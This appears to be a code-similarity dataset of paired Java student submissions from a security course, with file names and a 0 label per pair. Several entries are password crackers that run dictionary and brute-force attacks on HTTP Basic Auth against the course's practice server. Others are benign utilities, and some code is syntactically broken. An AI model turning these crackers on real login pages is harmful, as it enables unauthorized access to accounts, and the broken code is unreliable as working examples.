import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
237.java
161.java
0
import java.io.*; import java.net.*; import java.util.*; import java.misc.BASE64Encoder; public class Dictionary { private String userId; private String password; ReadDictionary myWords = new ReadDictionary(); public Dictionary() { myWords.openFile(); Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { StringBuffer sb = new StringBuffer(); HttpURLConnection connection; Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println (" time :" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""); setPassword("rhk8611"); System.out.println("Attempting get a response : " +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + " "); if (responseCode == HttpURLConnection.HTTP_OK) { retry = false; System.out.println("**** ACCESS GRANTED *****"); } else { retry = true; throw new IOException( "HTTP response : " + String.valueOf(responseCode) + "\nResponse Message: " +connection.getResponseMessage() ); } InputStream content = (InputStream)url.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { sb.append (line); } } catch (MalformedURLException e) { retry=false; System.out.println ("Invalid URL" + e.getMessage()); } catch (IOException e) { retry=true; connection = null; System.out.println ("Error URL \n" + e.getMessage()); } } endTime = new Date(); System.out.println ("Total time taken (Sec) :" + (endTime.getTime() - startTime.getTime())/1000); return sb.toString(); } public static void main (String args[]) { Dictionary myGenerator = new Dictionary(); String pageFound = myGenerator.fetchURL("http://sec-crack.cs.rmit.edu./SEC/2/"); System.out.println(" ACCESSED ->\n" + pageFound); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = getUserId(); String pass = myWords.readLine(); System.out.println(" Authenticating with -> " + pass); return new PasswordAuthentication (username, pass.toCharArray()); } } public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } public String getUserId() { return this.userId; } public void setUserId(String userId) { this.userId = userId; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
162.java
161.java
0
package java.httputils; import java.net.URL; import java.util.Enumeration; import java.util.HashMap; import java.util.Hashtable; import java.util.Iterator; public class HttpRequestThreadPool { Hashtable h = new Hashtable(); int poolSize = 10; ThreadGroup threadGroup = new ThreadGroup("Group" + System.currentTimeMillis()); String URL = "http://localhost:8080/"; int requestCount = 100; public HttpRequestThreadPool() { super(); } public void initMap() { for (int i = 0; i < getPoolSize(); i++) { RunnableHttpRequest client = new RunnableHttpRequest( getURL(), getRequestCount(), "Thread" + System.currentTimeMillis(), getThreadGroup(), this ); h.put(client, 0); client.a(); } } public static void main (String[] args) { HttpRequestThreadPool pool = new HttpRequestThreadPool(); pool.setURL(args[0]); pool.setPoolSize(Integer.parseInt(args[1])); pool.setRequestCount(Integer.parseInt(args[2])); pool.initMap(); while (!pool.allThreadsFinished()) { try { Thread.currentThread().sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println(pool.getMap()); } boolean allThreadsFinished() { boolean finished = true; Enumeration enuma = getMap().keys(); while (enuma.hasMoreElements()) { RunnableHttpRequest thread = ((RunnableHttpRequest)(enuma.nextElement())); finished = finished && thread.getFinished().booleanValue(); } return finished; } synchronized public Hashtable getMap() { return ; } synchronized public void setMap(Hashtable h) { this.h = h; } public int getPoolSize() { return poolSize; } public void setPoolSize(int i) { poolSize = i; } public ThreadGroup getThreadGroup() { return threadGroup; } public void setThreadGroup(ThreadGroup group) { threadGroup = group; } public int getRequestCount() { return requestCount; } public void setRequestCount(int i) { requestCount = i; } public String getURL() { return URL; } public void setURL(String string) { URL = string; } synchronized void setThreadAverageTime(RunnableHttpRequest req, int millis) { h.put(req, millis); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
093.java
161.java
0
import java.io.*; import java.text.*; public class TestWatchDog{ class NegativeValueException extends Exception{ public NegativeValueException() { super("It is not Integer." ); } public NegativeValueException(int n) { super(n + "- Negative Number Input.");} public NegativeValueException(double n) {super(n +"Not Integer.");} public NegativeValueException(String s){super("Invalid Data Type Input");} } public int getNumber()throws NegativeValueException, NumberFormatException, IOException{ BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in)); int number; try{ number = Integer.parseInt(stdin.readLine()); }catch (NumberFormatException e){throw e;} if (number< 0) throw new NegativeValueException(number); return number; } public String getStringInfo()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String strInfo = stdin.readLine(); if ((strInfo.trim().equals(""))||(strInfo.equals("\r"))) throw new Exception( strInfo +" Invalid input!"); return strInfo; } public String getAnyKey()throws Exception{ BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in)); String key= stdin.readLine(); return key; } public static void main (String[]args){ String spec = ""; String smtpserver= ""; String mfrom = ""; String mto = ""; int port = 0; int option =0; int duration = 0; int interval = 0; boolean valid = false; TestWatchDog twd = new TestWatchDog(); WatchDog wd = new WatchDog(); System.out.println("\n ***********************************************************"); System.out.println(" * *"); System.out.println(" * WatchDog Program ------ SEC Assignment Two *"); System.out.println(" * -------------------------------------------------- *"); System.out.println(" * Author: ID *"); System.out.println(" * -------------------------------------------------- *"); System.out.println(" * *"); System.out.println(" * < Options > *"); System.out.println(" * 1). Uses the default configuration monitor Web Site *"); System.out.println(" * ----- http://www.cs.rmit.edu./students/ *"); System.out.println(" * 2). Monitor the Web Site that user specified *"); System.out.println(" * *"); System.out.println(" ***********************************************************"); while (!valid){ System.out.print("\nPlease Choose option: "); try{ option = twd.getNumber(); valid = true; }catch(Exception e){System.out.println("Warning! Invalid Input!" + e.getMessage()+" Try again!");} if ((option ==1)||(option ==2)) valid = true; else{ System.out.println("Invalid Input. Try it again!"); valid = false; } } if(option == 1){ System.out.println("\n Default Configuration:\n"); System.out.println("--> Monitor WebSite: " + wd.getMonitorURL()); System.out.println("--> Monitor Duration: " + 30*24 + " hours (30 days)"); System.out.println("--> Check Webpage Intervals: " + wd.getInterval()/(1000*60) + " minutes (24 hrs)"); System.out.println("--> SMTP server: " +wd.getSMTPServer() + " Port: " + wd.getPortnumber()); System.out.println("--> MailFrom: " + wd.getMailFrom()); System.out.println("--> MailTo: " + wd.getMailTo()); valid = false; while (!valid){ System.out.print("\n Press EnterKey :"); try{ String key = twd.getAnyKey(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } wd.FirstRead(); wd.print(); } valid = false; if(option == 2){ System.out.println("\n Modified the Configuration:\n"); while (!valid){ System.out.println("> Input the URL of the web <Usage: http://yallara.cs.rmit.edu./~/>: "); try{ spec = twd.getStringInfo(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } valid = false; while (!valid){ System.out.println("> Input the Monitor Duration <Usage: 24 - (format: hours)>:"); try{ duration = twd.getNumber(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } valid = false; while (!valid){ System.out.println("> Input the Interval for Checking Webpage <Usage: 30 - (format: minutes)>:"); try{ interval = twd.getNumber(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } valid = false; while (!valid){ System.out.println("> Set the Mail Server <Usage: mail.rmit.edu.>:"); try{ smtpserver = twd.getStringInfo(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } valid = false; while (!valid){ System.out.println("> Set the Port Number <Usage: 25 - (default port 25 for smtp server)>:"); try{ port = twd.getNumber(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } valid = false; while (!valid){ System.out.println("> Set the MailFrom <Usage: @cs.rmit.edu.>:"); try{ mfrom = twd.getStringInfo(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } valid = false; while (!valid){ System.out.println("> Set the MailTo <Usage: @.rmit.edu.>:"); try{ mto = twd.getStringInfo(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } System.out.println("\n new Configuration:\n"); System.out.println("-> Monitor WebSite: " + spec); System.out.println("-> Monitor Duration: " + duration + " hours"); System.out.println("-> Check Webpage Intervals: " + interval + " minutes"); System.out.println("-> SMTP server: " +smtpserver + " Port: " + port); System.out.println("-> MailFrom: " + mfrom); System.out.println("-> MailTo: " + mto); valid = false; while (!valid){ System.out.print("\n Press EnterKey :"); try{ String key = twd.getAnyKey(); valid = true; }catch(Exception e){System.out.println(e.getMessage());} } wd.setMonitorURL(spec); wd.setMonitorDuration(duration); wd.setMonitorInterval(interval); wd.setSMTPServer(smtpserver); wd.setSMTPPort(port); wd.setMailFrom(mfrom); wd.setMailTo(mto); wd.FirstRead(); wd.print(); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
080.java
161.java
0
import java.net.*; import java.io.*; import java.util.*; public class PasswordCracker { private static final char car= 'a'; private static final char END = 'z' + 1; public static final int BRUTEFORCE = 0; public static final int DICTIONARY = 1; String urlName = null; String user = null; String filename = null; int method; int attempt_counter; public static void main(String[] args) { PasswordCracker cracker = null; if ((args.length == 3) && (args[2].equalsIgnoreCase("BRUTEFORCE"))) { cracker = new PasswordCracker(args[0], args[1], PasswordCracker.BRUTEFORCE, null); } else if ((args.length == 4) && (args[2].equalsIgnoreCase("DICTIONARY"))) { cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY, args[3]); } else { System.out.println("Syntax: java PasswordCracker <username> <url> BRUTEFORCE "); System.out.println(" java PasswordCracker <username> <url> DICTIONARY <sourcefile> "); System.exit(1); } cracker.run(); } public PasswordCracker(String user, String url, int method, String file) { this.user = user; this.urlName = url; this.filename = file; this.method = method; } public boolean run() { String password; s = 0; end = 0; try { attempt_counter = 0; URL target = new URL(urlName); switch (this.method) { case BRUTEFORCE: s = System.currentTimeMillis(); for (char i = 0; i < END; i++) { for (char j = 0; j < END; j++) { for (char k = 0; k < END; k++) { password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k); if (performConnection(target, user, password)) { end = System.currentTimeMillis(); System.out.println("URL: \t\t" + target + "\nUser: \t\t"+ user + "\nPassword: \t" + password); System.out.println("Attempts: \t" + attempt_counter + "\nTotal time: \t" + ((end - a) / 1000.0f) + " seconds"); return true; } } } } for (char i = 0; i < END; i++) { for (char j = 0; j < END; j++) { for (char k = 0; k < END; k++) { password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k); if (isValidPassword(target, password)) { end = System.currentTimeMillis(); System.out.println("Attempts: \t" + attempt_counter + "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds"); return true; } } } } break; case DICTIONARY: try { BufferedReader buf = new BufferedReader(new FileReader(filename)); s = System.currentTimeMillis(); { password = buf.readLine(); if (password.length() == 3) { if (performConnection(target, user, password)) { end = System.currentTimeMillis(); System.out.println("URL: \t\t" + target + "\nUser: \t\t"+ user + "\nPassword: \t" + password); System.out.println("Attempts: \t" + attempt_counter + "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds"); return true; } } } while (password != null); } catch (FileNotFoundException e) { System.out.println("File \"" + filename + "\" not found"); } catch (IOException ioe) { System.out.println("IO Error " + ioe); } break; default: return false; } } catch (Exception e) { System.out.println("ERROR: " + e.getMessage()); } end = System.currentTimeMillis(); System.out.println("Attempts: \t" + attempt_counter + "\nTotal time: \t" + ((end - d) / 1000.0f) + " seconds"); return true; } private boolean isValidPassword(URL target, String password) throws Exception { char letter[] = new char[3]; String generated = null; letter[0] = password.charAt(0); for (int i = 0; i < 2; i++) { letter[1] = password.charAt(1); for (int j = 0; j < 2; j++) { letter[2] = password.charAt(2); for (int k = 0; k < 2; k++) { generated = String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]); if ((Character.isUpperCase(letter[0]) == true) || (Character.isUpperCase(letter[1]) == true) || (Character.isUpperCase(letter[2]) == true)) { if (performConnection(target, user, generated) == true) { System.out.println("URL: \t\t" + target + "\nUser: \t\t"+ user + "\nPassword: \t" + generated); return true; } } letter[2] = Character.toUpperCase(letter[2]); } letter[1] = Character.toUpperCase(letter[1]); } letter[0] = Character.toUpperCase(letter[0]); } return false; } private boolean performConnection(URL target, String username, String password) throws Exception { HttpURLConnection connection = null; try { attempt_counter++; connection = (HttpURLConnection) target.openConnection(); connection.setRequestProperty("Authorization", " " + Base64.encode(username + ":" + password)); switch (connection.getResponseCode() / 100) { case 2: System.out.println("Connected successfully"); return true; default: return false; } } catch (Exception e) { throw new Exception("Failed connect " + target); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
179.java
161.java
0
import java.net.*; import java.io.*; public class EmailClient { private String sender, recipient, hostName; public EmailClient(String nSender, String nRecipient, String nHost) { sender = nSender; recipient = nRecipient; hostName = nHost; } public void sendMail(String subject, String message) { try { Socket s1=null; InputStream is = null; OutputStream os = null; DataOutputStream = null; s1 = new Socket(hostName,25); is = s1.getInputStream(); os = s1.getOutputStream(); bd = new DataOutputStream(os); BufferedReader response = new BufferedReader(new InputStreamReader(is)); bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n"); waitForSuccessResponse(response); bd.writeBytes("MAIL FROM:"+sender+"\n"); waitForSuccessResponse(response); bd.writeBytes("RCPT :"+recipient+"\n"); waitForSuccessResponse(response); bd.writeBytes("data"+"\n"); bd.writeBytes("Subject:"+subject+"\n"); bd.writeBytes(message+"\n.\n"); waitForSuccessResponse(response); } catch (UnknownHostException badUrl) { System.out.println("Host unknown."); } catch (EOFException eof) { System.out.println("<EOF>"); } catch (Exception e) { System.out.println("got exception: "+e); } } private static void waitForSuccessResponse(BufferedReader response) throws IOException { String rsp; boolean r250 = false; while( ! r250 ) { rsp = response.readLine().trim(); if(rsp.startsWith("250")) r250 = true; } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }